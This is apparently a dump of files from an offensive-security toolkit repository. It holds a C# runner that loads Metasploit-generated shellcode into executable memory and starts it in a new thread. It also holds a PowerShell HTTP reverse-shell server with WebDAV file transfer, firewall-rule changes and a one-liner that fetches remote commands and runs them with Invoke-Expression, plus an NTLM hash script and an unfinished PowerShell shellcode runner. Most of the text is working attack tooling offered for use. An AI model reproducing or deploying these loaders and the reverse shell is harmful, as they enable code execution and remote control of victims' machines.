121 | } 122 | 123 | public static void Exec(UInt32 address) 124 | { 125 | // native function's compiled code 126 | // generated with metasploit 127 | byte[] shellcode = new byte[193] { 128 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 129 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 130 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 131 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 132 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 133 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 134 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 135 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 136 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 137 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 138 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 139 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 140 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 141 | 142 | 143 | 144 | UInt32 funcAddr = address; 145 | Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); 146 | IntPtr hThread = IntPtr.Zero; 147 | UInt32 threadId = 0; 148 | // prepare data 149 | 150 | 151 | IntPtr pinfo = IntPtr.Zero; 152 | 153 | // execute native code 154 | 155 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 156 | WaitForSingleObject(hThread, 0xFFFFFFFF); 157 | return; 158 | 159 | } 160 | 161 | private static UInt32 MEM_COMMIT = 0x1000; 162 | 163 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 164 | 165 | [DllImport("kernel32")] 166 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 167 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 168 | 169 | 170 | 171 | [DllImport("kernel32")] 172 | private static extern IntPtr CreateThread( 173 | 174 | UInt32 lpThreadAttributes, 175 | UInt32 dwStackSize, 176 | UInt32 lpStartAddress, 177 | IntPtr param, 178 | UInt32 dwCreationFlags, 179 | ref UInt32 lpThreadId 180 | 181 | ); 182 | [DllImport("kernel32")] 183 | private static extern bool CloseHandle(IntPtr handle); 184 | 185 | [DllImport("kernel32")] 186 | private static extern UInt32 WaitForSingleObject( 187 | 188 | IntPtr hHandle, 189 | UInt32 dwMilliseconds 190 | ); 191 | 192 | [DllImport("kernel32.dll")] 193 | static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 194 | 195 | //MEMORY_BASIC_INFORMATION 196 | 197 | [StructLayout(LayoutKind.Sequential)] 198 | public struct MEMORY_BASIC_INFORMATION 199 | { 200 | public IntPtr BaseAddress; 201 | public IntPtr AllocationBase; 202 | public uint AllocationProtect; 203 | public IntPtr RegionSize; 204 | public uint State; 205 | public uint Protect; 206 | public uint Type; 207 | } 208 | 209 | public enum AllocationProtect : uint 210 | { 211 | PAGE_EXECUTE = 0x00000010, 212 | PAGE_EXECUTE_READ = 0x00000020, 213 | PAGE_EXECUTE_READWRITE = 0x00000040, 214 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 215 | PAGE_NOACCESS = 0x00000001, 216 | PAGE_READONLY = 0x00000002, 217 | PAGE_READWRITE = 0x00000004, 218 | PAGE_WRITECOPY = 0x00000008, 219 | PAGE_GUARD = 0x00000100, 220 | PAGE_NOCACHE = 0x00000200, 221 | PAGE_WRITECOMBINE = 0x00000400 222 | } 223 | 224 | } -------------------------------------------------------------------------------- /JEWebDav.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | 4 | Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback. 5 | 6 | Read And Write Files Over WebDAV Proof Of Concept 7 | 8 | .PARAMETER Server 9 | 10 | Listening Server IP Address 11 | 12 | #> 13 | 14 | $Server = '127.0.0.1' #Listening IP. Change This. 15 | $webDAVFolder = 'c:\Xfer' 16 | <# 17 | $net = new-object -ComObject WScript.Network 18 | $net.MapNetworkDrive("r:", "\\127.0.0.1\drive", $true, "domain\user", "password") 19 | #> 20 | 21 | 22 | 23 | #Begin WEBDAV Just Enough WebDAV to allow you to map drive to get a binary back to host:) 24 | 25 | 26 | $webDAVPROPFINDResponse = 'http://'+ $Server +'/HTTP/1.1 200 OKThu, 07 Aug 2014 16:33:21 GMT0/012014-05-27T19:01:44.48Z' 27 | 28 | $webDAVPROPPATCHResponse = ''+ $Server + '/drive/HTTP/1.1 200 OK' 29 | 30 | 31 | #End WEBDAV 32 | 33 | function Receive-Request { 34 | param( 35 | $Request 36 | ) 37 | $output = "" 38 | $size = $Request.ContentLength64 + 1 39 | $buffer = New-Object byte[] $size 40 | do { 41 | $count = $Request.InputStream.Read($buffer, 0, $size) 42 | $output += $Request.ContentEncoding.GetString($buffer, 0, $count) 43 | } until($count -lt $size) 44 | $Request.InputStream.Close() 45 | write-host $output 46 | } 47 | 48 | $listener = New-Object System.Net.HttpListener 49 | $listener.Prefixes.Add('http://+:80/') 50 | 51 | netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null 52 | netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null 53 | 54 | $listener.Start() 55 | 'Listening ...' 56 | while ($true) { 57 | $context = $listener.GetContext() # blocks until request is received 58 | $request = $context.Request 59 | $response = $context.Response 60 | $hostip = $request.RemoteEndPoint 61 | #Use this for One-Liner Start 62 | if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { 63 | write-host "Host Connected" -fore Cyan 64 | $message = ' 65 | $s = "http://' + $Server + '/rat" 66 | $w = New-Object Net.WebClient 67 | while($true) 68 | { 69 | $r = $w.DownloadString("$s") 70 | while($r) { 71 | $o = invoke-expression $r | out-string 72 | $w.UploadString("$s", $o) 73 | break 74 | } 75 | } 76 | ' 77 | 78 | } 79 | 80 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 81 | Receive-Request($request) 82 | } 83 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { 84 | $response.ContentType = 'text/plain' 85 | $message = Read-Host "PS $hostip>" 86 | } 87 | if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) { 88 | $enc = [system.Text.Encoding]::UTF8 89 | $response.ContentType = 'application/hta' 90 | $htacode = ' 91 | 92 | 97 | 98 | 99 | 100 | 101 | ' 102 | 103 | $buffer = $enc.GetBytes($htacode) 104 | $response.ContentLength64 = $buffer.length 105 | $output = $response.OutputStream 106 | $output.Write($buffer, 0, $buffer.length) 107 | $output.Close() 108 | continue 109 | } 110 | if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "OPTIONS") ){ 111 | $response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT") 112 | $response.Close() 113 | continue 114 | 115 | } 116 | if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPFIND") ) { 117 | $response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT") 118 | $message = $webDAVPROPFINDResponse 119 | } 120 | if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPPATCH") ) { 121 | $message = $webDAVPROPPATCHResponse 122 | } 123 | if (($request.HttpMethod -eq "LOCK") -or ($request.HttpMethod -eq "UNLOCK")) { 124 | $Uri = $request.Url 125 | $RequestedFileName = $Uri.Segments[-1] 126 | $webDAVLOCKResponse = ' Infinity '+$Server+'/drive/'+ $RequestedFileName+'Second-345600 opaquelocktoken:e71d4fae-5dec-22df-fea5-00a0c93bd5eb1 ' 127 | $message = $webDAVLOCKResponse 128 | } 129 | if ($request.HttpMethod -eq "PUT") { 130 | $ms = New-Object System.IO.MemoryStream 131 | 132 | [byte[]] $buffer = New-Object byte[] 65536 133 | [int] $bytesRead | Out-Null 134 | $Stream = $request.InputStream 135 | do 136 | { 137 | $bytesRead = $Stream.Read($buffer, 0, $buffer.Length) 138 | $ms.Write($buffer, 0, $bytesRead) 139 | 140 | } while ( $bytesRead -ne 0) 141 | 142 | $Uri = $request.Url 143 | $ReceivedFileName = $Uri.Segments[-1] 144 | Write-Host "Receiving File: " $ReceivedFileName -Fore Cyan 145 | [byte[]] $Content = $ms.ToArray() 146 | Set-Content -Path "$webDAVFolder\$ReceivedFileName" -Value $Content -Encoding Byte | Out-Null 147 | $response.Close() 148 | continue 149 | } 150 | if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "PROPFIND") ){ 151 | $Uri = $request.Url 152 | $RequestedFileName = $Uri.Segments[-1] 153 | [byte[]] $buffer = [System.IO.File]::ReadAllBytes("$webDAVFolder\$RequestedFileName") 154 | $webDAVXFERResponse = 'http://'+$Server+'/drive/HTTP/1.1 200 OKapplication/octet-streamThu, 11 Jun 2015 05:20:18 GMT0"3d6f834e6a4d01:0"'+$RequestedFileName+''+ $buffer.Length +'02014-05-27T19:36:39.240Z' 155 | $message = $webDAVXFERResponse 156 | } 157 | if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "GET") ){ 158 | $Uri = $request.Url 159 | $RequestedFileName = $Uri.Segments[-1] 160 | [byte[]] $buffer = [System.IO.File]::ReadAllBytes("$webDAVFolder\$RequestedFileName") 161 | $response.ContentType = 'application/octet-stream' 162 | $response.ContentLength64 = $buffer.length 163 | $output = $response.OutputStream 164 | $output.Write($buffer, 0, $buffer.length) 165 | $output.Close() 166 | continue 167 | 168 | } 169 | 170 | 171 | [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) 172 | $response.ContentLength64 = $buffer.length 173 | $output = $response.OutputStream 174 | $output.Write($buffer, 0, $buffer.length) 175 | $output.Close() 176 | } 177 | 178 | $listener.Stop() -------------------------------------------------------------------------------- /ntlm.js: -------------------------------------------------------------------------------- 1 | /* 2 | JavaScript Quick NTLM Hash Computation 3 | Just Cause. 4 | I know. Its not efficient. 5 | 6 | */ 7 | //Example Server Implmentation Here: 8 | //https://www.tobtu.com/lmntlm.php 9 | 10 | var map = new Array 11 | ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 12 | 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 13 | 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 14 | 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 15 | 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 16 | 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 17 | 96, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 18 | 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 123, 124, 125, 126, 127, 19 | -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 20 | -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 21 | 255, 173, 155, 156, 15, 157, 221, 21, 34, 67, 166, 174, 170, 45, 82, 95, 22 | 248, 241, 253, 51, 39, 230, 20, 250, 44, 49, 167, 175, 172, 171, 95, 168, 23 | 65, 65, 65, 65, 142, 143, 146, 128, 69, 144, 69, 69, 73, 73, 73, 73, 24 | 68, 165, 79, 79, 79, 79, 153, 88, 79, 85, 85, 85, 154, 89, 95, 225, 25 | 65, 65, 65, 65, 142, 143, 146, 128, 69, 144, 69, 69, 73, 73, 73, 73, 26 | 68, 165, 79, 79, 79, 79, 153, 246, 79, 85, 85, 85, 154, 89, 95, 89); 27 | var map2 = new Array 28 | (44, 159, 44, 46, 43, 216, 94, 37, 83, 60, 79, 90, 96, 29 | 39, 34, 34, 7, 45, 45, 126, 84, 83, 62, 79, 90, 89); 30 | var mapMap2 = new Array 31 | (0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0x017D, 0x2018, 32 | 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0x017E, 0x0178); 33 | 34 | 35 | function calculateNTLMHashes(str) 36 | { 37 | var splitvar = "\n"; 38 | if (str.indexOf("\r\n") != -1) 39 | { 40 | splitvar = "\r\n"; 41 | } 42 | else if (str.indexOf("\r") != -1) 43 | { 44 | splitvar = "\r"; 45 | } 46 | var arr = str.split(splitvar); 47 | var aNTLMHashes = new Array(arr.length); 48 | 49 | for (var a = 0; a < arr.length; a++) 50 | { 51 | aNTLMHashes[a] = hex_md4(arr[a]); 52 | 53 | } 54 | 55 | return aNTLMHashes; 56 | 57 | } 58 | 59 | /* 60 | * A JavaScript implementation of the RSA Data Security, Inc. MD4 Message 61 | * Digest Algorithm, as defined in RFC 1320. 62 | * Version 2.1 Copyright (C) Jerrad Pierce, Paul Johnston 1999 - 2002. 63 | * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet 64 | * Distributed under the BSD License 65 | * See http://pajhome.org.uk/crypt/md5 for more info. 66 | */ 67 | 68 | // This is not the original I got rid of a few functions that were not being used. 69 | 70 | /* 71 | * Configurable variables. You may need to tweak these to be compatible with 72 | * the server-side, but the defaults work in most cases. 73 | */ 74 | var hexcase = 1; /* hex output format. 0 - lowercase; 1 - uppercase */ 75 | var chrsz = 16; /* bits per input character. 8 - ASCII; 16 - Unicode */ 76 | 77 | /* 78 | * These are the functions you'll usually want to call 79 | */ 80 | function hex_md4(s){ return binl2hex(core_md4(str2binl(s), s.length * chrsz));} 81 | 82 | /* 83 | * Calculate the MD4 of an array of little-endian words, and a bit length 84 | */ 85 | function core_md4(x, len) 86 | { 87 | /* append padding */ 88 | x[len >> 5] |= 0x80 << (len % 32); 89 | x[(((len + 64) >>> 9) << 4) + 14] = len; 90 | 91 | var a = 1732584193; 92 | var b = -271733879; 93 | var c = -1732584194; 94 | var d = 271733878; 95 | 96 | for(var i = 0; i < x.length; i += 16) 97 | { 98 | var olda = a; 99 | var oldb = b; 100 | var oldc = c; 101 | var oldd = d; 102 | 103 | a = md4_ff(a, b, c, d, x[i+ 0], 3 ); 104 | d = md4_ff(d, a, b, c, x[i+ 1], 7 ); 105 | c = md4_ff(c, d, a, b, x[i+ 2], 11); 106 | b = md4_ff(b, c, d, a, x[i+ 3], 19); 107 | a = md4_ff(a, b, c, d, x[i+ 4], 3 ); 108 | d = md4_ff(d, a, b, c, x[i+ 5], 7 ); 109 | c = md4_ff(c, d, a, b, x[i+ 6], 11); 110 | b = md4_ff(b, c, d, a, x[i+ 7], 19); 111 | a = md4_ff(a, b, c, d, x[i+ 8], 3 ); 112 | d = md4_ff(d, a, b, c, x[i+ 9], 7 ); 113 | c = md4_ff(c, d, a, b, x[i+10], 11); 114 | b = md4_ff(b, c, d, a, x[i+11], 19); 115 | a = md4_ff(a, b, c, d, x[i+12], 3 ); 116 | d = md4_ff(d, a, b, c, x[i+13], 7 ); 117 | c = md4_ff(c, d, a, b, x[i+14], 11); 118 | b = md4_ff(b, c, d, a, x[i+15], 19); 119 | a = md4_gg(a, b, c, d, x[i+ 0], 3 ); 120 | d = md4_gg(d, a, b, c, x[i+ 4], 5 ); 121 | c = md4_gg(c, d, a, b, x[i+ 8], 9 ); 122 | b = md4_gg(b, c, d, a, x[i+12], 13); 123 | a = md4_gg(a, b, c, d, x[i+ 1], 3 ); 124 | d = md4_gg(d, a, b, c, x[i+ 5], 5 ); 125 | c = md4_gg(c, d, a, b, x[i+ 9], 9 ); 126 | b = md4_gg(b, c, d, a, x[i+13], 13); 127 | a = md4_gg(a, b, c, d, x[i+ 2], 3 ); 128 | d = md4_gg(d, a, b, c, x[i+ 6], 5 ); 129 | c = md4_gg(c, d, a, b, x[i+10], 9 ); 130 | b = md4_gg(b, c, d, a, x[i+14], 13); 131 | a = md4_gg(a, b, c, d, x[i+ 3], 3 ); 132 | d = md4_gg(d, a, b, c, x[i+ 7], 5 ); 133 | c = md4_gg(c, d, a, b, x[i+11], 9 ); 134 | b = md4_gg(b, c, d, a, x[i+15], 13); 135 | a = md4_hh(a, b, c, d, x[i+ 0], 3 ); 136 | d = md4_hh(d, a, b, c, x[i+ 8], 9 ); 137 | c = md4_hh(c, d, a, b, x[i+ 4], 11); 138 | b = md4_hh(b, c, d, a, x[i+12], 15); 139 | a = md4_hh(a, b, c, d, x[i+ 2], 3 ); 140 | d = md4_hh(d, a, b, c, x[i+10], 9 ); 141 | c = md4_hh(c, d, a, b, x[i+ 6], 11); 142 | b = md4_hh(b, c, d, a, x[i+14], 15); 143 | a = md4_hh(a, b, c, d, x[i+ 1], 3 ); 144 | d = md4_hh(d, a, b, c, x[i+ 9], 9 ); 145 | c = md4_hh(c, d, a, b, x[i+ 5], 11); 146 | b = md4_hh(b, c, d, a, x[i+13], 15); 147 | a = md4_hh(a, b, c, d, x[i+ 3], 3 ); 148 | d = md4_hh(d, a, b, c, x[i+11], 9 ); 149 | c = md4_hh(c, d, a, b, x[i+ 7], 11); 150 | b = md4_hh(b, c, d, a, x[i+15], 15); 151 | a = safe_add(a, olda); 152 | b = safe_add(b, oldb); 153 | c = safe_add(c, oldc); 154 | d = safe_add(d, oldd); 155 | } 156 | return Array(a, b, c, d); 157 | 158 | } 159 | 160 | /* 161 | * These functions implement the basic operation for each round of the 162 | * algorithm. 163 | */ 164 | function md4_cmn(q, a, b, x, s, t) 165 | { 166 | return safe_add(rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b); 167 | } 168 | function md4_ff(a, b, c, d, x, s) 169 | { 170 | return md4_cmn((b & c) | ((~b) & d), a, 0, x, s, 0); 171 | } 172 | function md4_gg(a, b, c, d, x, s) 173 | { 174 | return md4_cmn((b & c) | (b & d) | (c & d), a, 0, x, s, 1518500249); 175 | } 176 | function md4_hh(a, b, c, d, x, s) 177 | { 178 | return md4_cmn(b ^ c ^ d, a, 0, x, s, 1859775393); 179 | } 180 | 181 | /* 182 | * Add integers, wrapping at 2^32. This uses 16-bit operations internally 183 | * to work around bugs in some JS interpreters. 184 | */ 185 | function safe_add(x, y) 186 | { 187 | var lsw = (x & 0xFFFF) + (y & 0xFFFF); 188 | var msw = (x >> 16) + (y >> 16) + (lsw >> 16); 189 | return (msw << 16) | (lsw & 0xFFFF); 190 | } 191 | 192 | /* 193 | * Bitwise rotate a 32-bit number to the left. 194 | */ 195 | function rol(num, cnt) 196 | { 197 | return (num << cnt) | (num >>> (32 - cnt)); 198 | } 199 | 200 | /* 201 | * Convert a string to an array of little-endian words 202 | * If chrsz is ASCII, characters >255 have their hi-byte silently ignored. 203 | */ 204 | function str2binl(str) 205 | { 206 | var bin = Array(); 207 | var mask = (1 << chrsz) - 1; 208 | for(var i = 0; i < str.length * chrsz; i += chrsz) 209 | bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32); 210 | return bin; 211 | } 212 | 213 | /* 214 | * Convert an array of little-endian words to a hex string. 215 | */ 216 | function binl2hex(binarray) 217 | { 218 | var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; 219 | var str = ""; 220 | for(var i = 0; i < binarray.length * 4; i++) 221 | { 222 | str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) + 223 | hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF); 224 | } 225 | return str; 226 | } 227 | 228 | function int2hex(num) 229 | { 230 | var hex_tab = "0123456789abcdef"; 231 | var str = ""; 232 | str += hex_tab.charAt(((num & 0x70000000) >> (28)) + (num < 0 ? 0x8: 0x0)) + 233 | hex_tab.charAt((num & 0x0f000000) >> (24)) + 234 | hex_tab.charAt((num & 0x00f00000) >> (20)) + 235 | hex_tab.charAt((num & 0x000f0000) >> (16)) + 236 | hex_tab.charAt((num & 0x0000f000) >> (12)) + 237 | hex_tab.charAt((num & 0x00000f00) >> (8)) + 238 | hex_tab.charAt((num & 0x000000f0) >> (4)) + 239 | hex_tab.charAt((num & 0x0000000f) >> (0)); 240 | return str; 241 | } 242 | 243 | var strMyPass; 244 | WScript.StdOut.Write("Enter Password>"); 245 | WScript.StdIn.Read(0); 246 | strMyPass = WScript.StdIn.ReadLine(); 247 | var NTLMHash = calculateNTLMHashes(strMyPass); 248 | WScript.StdOut.Write(NTLMHash); -------------------------------------------------------------------------------- /msbuildQueueAPC.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | <-- x86 --> 4 | 5 | 6 | 7 | 8 | 9 | 10 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 215 | 216 | 217 | 218 | -------------------------------------------------------------------------------- /PoCPowerShellCoreShellcodeRunner.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Author: Matthew Graeber (@mattifestation) 3 | License: BSD 3-Clause 4 | #> 5 | 6 | function Invoke-VirtualAlloc { 7 | Param ( 8 | [IntPtr] $lpAddress, 9 | [UInt32] $dwSize, 10 | [UInt32] $flAllocationType, 11 | [UInt32] $flProtect 12 | ) 13 | 14 | $AsmBuilder = [System.Reflection.Assembly].Assembly.GetTypes() | ? {$_.Name -eq 'AssemblyBuilder' } 15 | 16 | $AssemblyBuilder = $AsmBuilder::DefineDynamicAssembly('TestAssembly', 'Run') 17 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TestModule', $False) 18 | $TypeBuilder = $ModuleBuilder.DefineType('Kernel32', [Reflection.TypeAttributes]::Public) 19 | $MethodBuilder = $TypeBuilder.DefineMethod('VirtualAlloc', 20 | [Reflection.MethodAttributes] 'Public, Static, PinvokeImpl', 21 | [Reflection.CallingConventions] 'Standard', 22 | [IntPtr], 23 | [Type[]] @([IntPtr], [UInt32], [UInt32], [UInt32])) 24 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([Type[]] @([String])) 25 | 26 | $Field_EntryPoint = [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint') 27 | $Field_CharSet = [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') 28 | $Field_ExactSpelling = [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling') 29 | $Field_SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') 30 | $Field_PreserveSig = [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig') 31 | $Field_CallingConvention = [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention') 32 | $Field_BestFitMapping = [Runtime.InteropServices.DllImportAttribute].GetField('BestFitMapping') 33 | $Field_ThrowOnUnmappableChar = [Runtime.InteropServices.DllImportAttribute].GetField('ThrowOnUnmappableChar') 34 | 35 | $FieldInfoArray = @($Field_EntryPoint, 36 | $Field_ExactSpelling, 37 | $Field_SetLastError, 38 | $Field_PreserveSig, 39 | $Field_CallingConvention, 40 | $Field_BestFitMapping, 41 | $Field_ThrowOnUnmappableChar) 42 | 43 | $FieldArguments = @('VirtualAlloc', 44 | $False, 45 | $True, 46 | $True, 47 | [Runtime.InteropServices.CallingConvention]::Winapi, 48 | $False, 49 | $False) 50 | 51 | $CustomAttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, 52 | 'api-ms-win-core-memory-l1-1-0.dll', 53 | [Reflection.FieldInfo[]] $FieldInfoArray, 54 | [Object[]] $FieldArguments) 55 | 56 | $MethodBuilder.SetCustomAttribute($CustomAttribBuilder) 57 | 58 | $PreserveSigConstructor = [Runtime.InteropServices.PreserveSigAttribute].GetConstructor(@()) 59 | $CustomAttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($PreserveSigConstructor, @()) 60 | $MethodBuilder.SetCustomAttribute($CustomAttribBuilder) 61 | 62 | $MethodBuilder.SetImplementationFlags([Reflection.MethodImplAttributes]::PreserveSig) 63 | 64 | $Kernel32 = $TypeBuilder.CreateType() 65 | 66 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('VirtualAlloc', [IntPtr], @([IntPtr], [UInt32], [UInt32], [UInt32])) 67 | $Generator = $MethodInfo.GetILGenerator() 68 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) 69 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) 70 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) 71 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_3) 72 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Call, $Kernel32.GetMethod('VirtualAlloc')) 73 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) 74 | $Delegate = [Func``5[IntPtr, UInt32, UInt32, UInt32, IntPtr]] 75 | $ProxyMethod = $MethodInfo.CreateDelegate($Delegate) 76 | 77 | $ProxyMethod.Invoke($lpAddress, $dwSize, $flAllocationType, $flProtect) 78 | } 79 | 80 | function Invoke-CreateThread { 81 | Param ( 82 | [IntPtr] $lpThreadAttributes, 83 | [UInt32] $dwStackSize, 84 | [IntPtr] $lpStartAddress, 85 | [IntPtr] $lpParameter, 86 | [UInt32] $dwCreationFlags, 87 | [IntPtr] $lpThreadId 88 | ) 89 | 90 | $AsmBuilder = [System.Reflection.Assembly].Assembly.GetTypes() | ? {$_.Name -eq 'AssemblyBuilder' } 91 | 92 | $AssemblyBuilder = $AsmBuilder::DefineDynamicAssembly('TestAssembly_2', 'Run') 93 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TestModule', $False) 94 | $TypeBuilder = $ModuleBuilder.DefineType('Kernel32', [Reflection.TypeAttributes]::Public) 95 | $MethodBuilder = $TypeBuilder.DefineMethod('CreateThread', 96 | [Reflection.MethodAttributes] 'Public, Static, PinvokeImpl', 97 | [Reflection.CallingConventions] 'Standard', 98 | [IntPtr], 99 | [Type[]] @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])) 100 | $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([Type[]] @([String])) 101 | 102 | $Field_EntryPoint = [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint') 103 | $Field_CharSet = [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') 104 | $Field_ExactSpelling = [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling') 105 | $Field_SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') 106 | $Field_PreserveSig = [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig') 107 | $Field_CallingConvention = [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention') 108 | $Field_BestFitMapping = [Runtime.InteropServices.DllImportAttribute].GetField('BestFitMapping') 109 | $Field_ThrowOnUnmappableChar = [Runtime.InteropServices.DllImportAttribute].GetField('ThrowOnUnmappableChar') 110 | 111 | $FieldInfoArray = @($Field_EntryPoint, 112 | $Field_ExactSpelling, 113 | $Field_SetLastError, 114 | $Field_PreserveSig, 115 | $Field_CallingConvention, 116 | $Field_BestFitMapping, 117 | $Field_ThrowOnUnmappableChar) 118 | 119 | $FieldArguments = @('CreateThread', 120 | $False, 121 | $True, 122 | $True, 123 | [Runtime.InteropServices.CallingConvention]::Winapi, 124 | $False, 125 | $False) 126 | 127 | $CustomAttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, 128 | 'api-ms-win-core-processthreads-l1-1-0.dll', 129 | [Reflection.FieldInfo[]] $FieldInfoArray, 130 | [Object[]] $FieldArguments) 131 | 132 | $MethodBuilder.SetCustomAttribute($CustomAttribBuilder) 133 | 134 | $PreserveSigConstructor = [Runtime.InteropServices.PreserveSigAttribute].GetConstructor(@()) 135 | $CustomAttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($PreserveSigConstructor, @()) 136 | $MethodBuilder.SetCustomAttribute($CustomAttribBuilder) 137 | 138 | $MethodBuilder.SetImplementationFlags([Reflection.MethodImplAttributes]::PreserveSig) 139 | 140 | $Kernel32 = $TypeBuilder.CreateType() 141 | 142 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('CreateThread', [IntPtr], @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])) 143 | $Generator = $MethodInfo.GetILGenerator() 144 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) 145 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) 146 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) 147 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_3) 148 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_S, ([Byte] 4)) 149 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_S, ([Byte] 5)) 150 